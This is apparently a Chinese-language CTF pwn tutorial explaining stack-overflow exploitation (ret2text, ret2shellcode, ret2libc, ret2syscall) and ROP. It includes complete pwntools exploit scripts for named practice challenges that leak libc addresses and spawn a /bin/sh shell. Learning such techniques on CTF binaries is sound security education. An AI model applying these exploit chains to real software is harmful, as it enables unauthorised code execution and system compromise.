栈…溢出来了…到哪里?
概念储备
ret2xxx
ret2xxx (return to xxx) 是一类典型的栈溢出漏洞题型,其基本原理是利用栈溢出,覆盖返回地址,使程序执行到我们想要的地方。一般来说常见的有ret2text, ret2shellcode, ret2syscall, ret2libc, ret2csu等等。
R.O.P
R.O.P (Return Oriented Programming) 是一种利用程序中已有的代码片段来构造攻击的方法。简单来说,ROP就是将源程序中散落的汇编程序片段(也称gadget)“拼接”在一起,使其能够为攻击者服务。
传参方式
32位
32位程序的传参方式是栈传参,即将参数从右往左依次压入栈中,然后调用函数,函数从栈中依次弹出参数。
假设调用函数func(1, 2, 3)
,则汇编为:
push 3
push 2
push 1
call func
64位
64位程序的传参方式是寄存器传参,即将参数依次存入寄存器中,然后调用函数,函数从寄存器中依次取出参数。
前六个参数依次存入寄存器rdi, rsi, rdx, rcx, r8, r9
中,第七个参数开始压栈。
假设调用函数func(1, 2, 3, 4, 5, 6, 7, 8, 9)
,则汇编为:
push 9
push 8
push 7
mov r9, 6
mov r8, 5
mov rcx, 4
mov rdx, 3
mov rsi, 2
mov rdi, 1
call func
ret2text
ret2text是最简单的一种,其原理是利用栈溢出,覆盖返回地址,使程序执行到某个函数的开头,从而达到执行该函数的目的。
例题
如第二章中提到的 [CNSS Recruit 2023] StackOverFlow 就是一道最基础的ret2text题,利用栈溢出,覆盖返回地址,使程序执行到准备好的backdoor
函数,从而getshell。
这里演示另一个需要利用ROP链自己传参的例题:
[CNSS Recruit 2023] Unlock My Heart
程序启动后调用了一个栈溢出函数:
有一个后门函数,但是需要传参进去:
还有一个函数可以设置全局变量:
那么思路就很明确了,先设置全局变量为/bin/sh\0
,然后调用后门函数,传参为114514和全局变量的地址。
如上面所说,64位程序的前两个参数分别为rdi
和rsi
,所以我们需要一个ROP链,如pop rdi; pop rsi; ret
。这种链怎么找呢?我们一般使用ROPgadget
等工具来找。
ROPgadget --binary ./pwn --only "mov|pop|ret"
于是我们就可以构造payload了。
# 溢出到ret
payload = cyclic(0x10 + 8)
# 调用setName
payload += p64(elf.sym['setName'])
# 调用 pop rdi; pop rsi; ret
payload += p64(0x40128c)
# 设置参数
payload += p64(114514) + p64(elf.sym['name'])
# 为了栈平衡,调用 ret
payload += p64(0x40101a)
# 调用 backdoor
payload += p64(elf.sym['B4ckdo0r'])
r.sendlineafter(b'\n', payload)
# 发送 /bin/sh
r.sendlineafter(b'\n', b'/bin/sh\x00')
ret2shellcode
ret2shellcode可以说是比较古早的一种利用方式了,其原理是利用栈溢出,覆盖返回地址,使程序执行到我们准备好的shellcode,从而getshell。但是现在的程序基本都有NX
之类的保护,无法直接执行shellcode,所以这种方法已经很少用了。
例题
[jarvisoj] level1
保护全关,有shellcode执行的前提条件。
思路比较清晰,我们直接往buf中写上shellcode,然后栈溢出覆盖返回地址为buf的地址,就可以执行shellcode了。
r.recvuntil(b':')
buf_addr = int(r.recvuntil(b'?', drop=True), 16)
log.info('buf_addr: ' + hex(buf_addr))
shellcode = asm(shellcraft.sh())
payload = shellcode.ljust(0x88 + 4, b'\x00')
payload += p32(buf_addr)
r.sendlineafter(b'\n', payload)
r.interactive()
ret2libc
ret2libc是一种利用libc中函数的方法。一般来说,linux下的程序都会动态链接libc,所以即使程序本身没有system等函数,我们也可以利用libc中的system函数来getshell。
如果题目没有给你远程对应版本的libc,那么我们可以通过 https://libc.nullbyte.cat/ 、https://libc.blukat.me/ 等网站来查找对应版本的libc。
例题
程序中没有system函数,但是有puts函数,所以我们可以利用puts函数来泄露libc基址,然后计算system函数的地址,再次利用栈溢出,调用system函数,getshell。
第零回:必需的ROP和偏移
首先,要调用puts
,我们需要一个pop rdi; ret
的gadget。为了栈平衡,我们还需要一个ret
。
ROPgadget --binary ./pwn --only "pop|ret"
我们还需要知道libc中puts
和system
的偏移来计算libc基址和system
的地址,这里我们可以通过readelf
来查看。/bin/sh
字符串的偏移可以通过ROPgadget来查看。
readelf -s libc.so.6 | grep -E "puts|system"
ROPgadget --binary ./libc.so.6 --string "/bin/sh"
也可以直接在脚本中计算:
from pwn import *
libcName = './libc.so.6'
libc = ELF(libcName)
puts_offset = libc.sym['puts']
system_offset = libc.sym['system']
binsh_offset = next(libc.search(b'/bin/sh'))
第一回:got表拿下libc基址
got表中存放着程序中需要动态链接的函数的地址,我们可以通过泄露got表中的puts函数的地址,计算出libc基址。
payload = cyclic(0x70 + 8)
payload += p64(pop_rdi_ret)
payload += p64(elf.got['puts'])
payload += p64(elf.plt['puts'])
payload += p64(elf.symbols['main']) # 执行完puts再返回漏洞函数
r.sendline(payload)
r.recvuntil('\n')
puts_addr = u64(r.recv(6).ljust(8, b'\x00'))
libc_base = puts_addr - libc.symbols['puts']
system_addr = libc_base + libc.symbols['system']
binsh_addr = libc_base + next(libc.search(b'/bin/sh'))
log.info(f"""puts_addr: {hex(puts_addr)}
libc_base: {hex(libc_base)}
system_addr: {hex(system_addr)}
binsh_addr: {hex(binsh_addr)}""")
第二回:ret2libc直接getshell
有了libc基址和system函数的地址,我们就可以构造payload了。
payload = cyclic(0x70 + 8)
payload += p64(pop_rdi_ret)
payload += p64(binsh_addr)
payload += p64(ret) # 栈平衡
payload += p64(system_addr)
r.sendline(payload)
完整payload
pop_rdi_ret = 0x0000000000400753
ret = 0x0000000000400509
payload = cyclic(0x70 + 8)
payload += p64(pop_rdi_ret)
payload += p64(elf.got['puts'])
payload += p64(elf.plt['puts'])
payload += p64(elf.symbols['main'])
r.sendline(payload)
r.recvuntil(b'\n')
puts_addr = u64(r.recv(6).ljust(8, b'\x00'))
libc_base = puts_addr - libc.symbols['puts']
system_addr = libc_base + libc.symbols['system']
binsh_addr = libc_base + next(libc.search(b'/bin/sh'))
log.info(f"""puts_addr: {hex(puts_addr)}
libc_base: {hex(libc_base)}
system_addr: {hex(system_addr)}
binsh_addr: {hex(binsh_addr)}""")
payload = cyclic(0x70 + 8)
payload += p64(pop_rdi_ret)
payload += p64(binsh_addr)
payload += p64(ret)
payload += p64(system_addr)
r.sendline(payload)
r.interactive()
ret2syscall
ret2syscall
是一种利用syscall
指令的方法。syscall
指令是linux下的系统调用指令,可以直接调用系统函数,而不需要利用system
等函数。
下面是syscall
的传参方式:
rax: 系统调用号(如0x3b为execve)
rdi、rsi、rdx、……: 传给系统调用函数的参数(如execve(“/bin/sh”, 0, 0),则rdi为"/bin/sh"的地址,rsi和rdx为0)
例题
[Yulin Recruit 2023] basicROP
主要函数:
第一个函数看起来复杂,其实是固定了栈的地址。vuln
函数则是栈溢出。没看见有system
,于是用ROPGadget
查了一下,发现有syscall
。
于是我们就可以利用syscall
来getshell了。但是我们还需要一个/bin/sh\x00
字符串,由于栈的地址是固定的,我们可以在输入的时候把/bin/sh\x00
读到变量里(也就是栈上)然后调试一下,找到/bin/sh\x00
的地址,然后构造payload。
syscall = 0x0000000000401215
pop_rax = 0x0000000000401213
pop_rdi = 0x0000000000401211
pop_rsi = 0x000000000040120f
pop_rdx = 0x000000000040120d
v1_addr = 0xdeacfa0 # 变量v1的地址,也就是/bin/sh\x00的地址
ret = 0x000000000040101a
payload = b'/bin/sh\x00'
payload += cyclic(88 - len(payload))
payload += p64(pop_rax) + p64(59) # execve
payload += p64(pop_rdi) + p64(v1_addr)
payload += p64(pop_rsi) + p64(0)
payload += p64(pop_rdx) + p64(0)
payload += p64(syscall) # execve("/bin/sh", 0, 0)
r.sendlineafter('name:', payload)
r.interactive()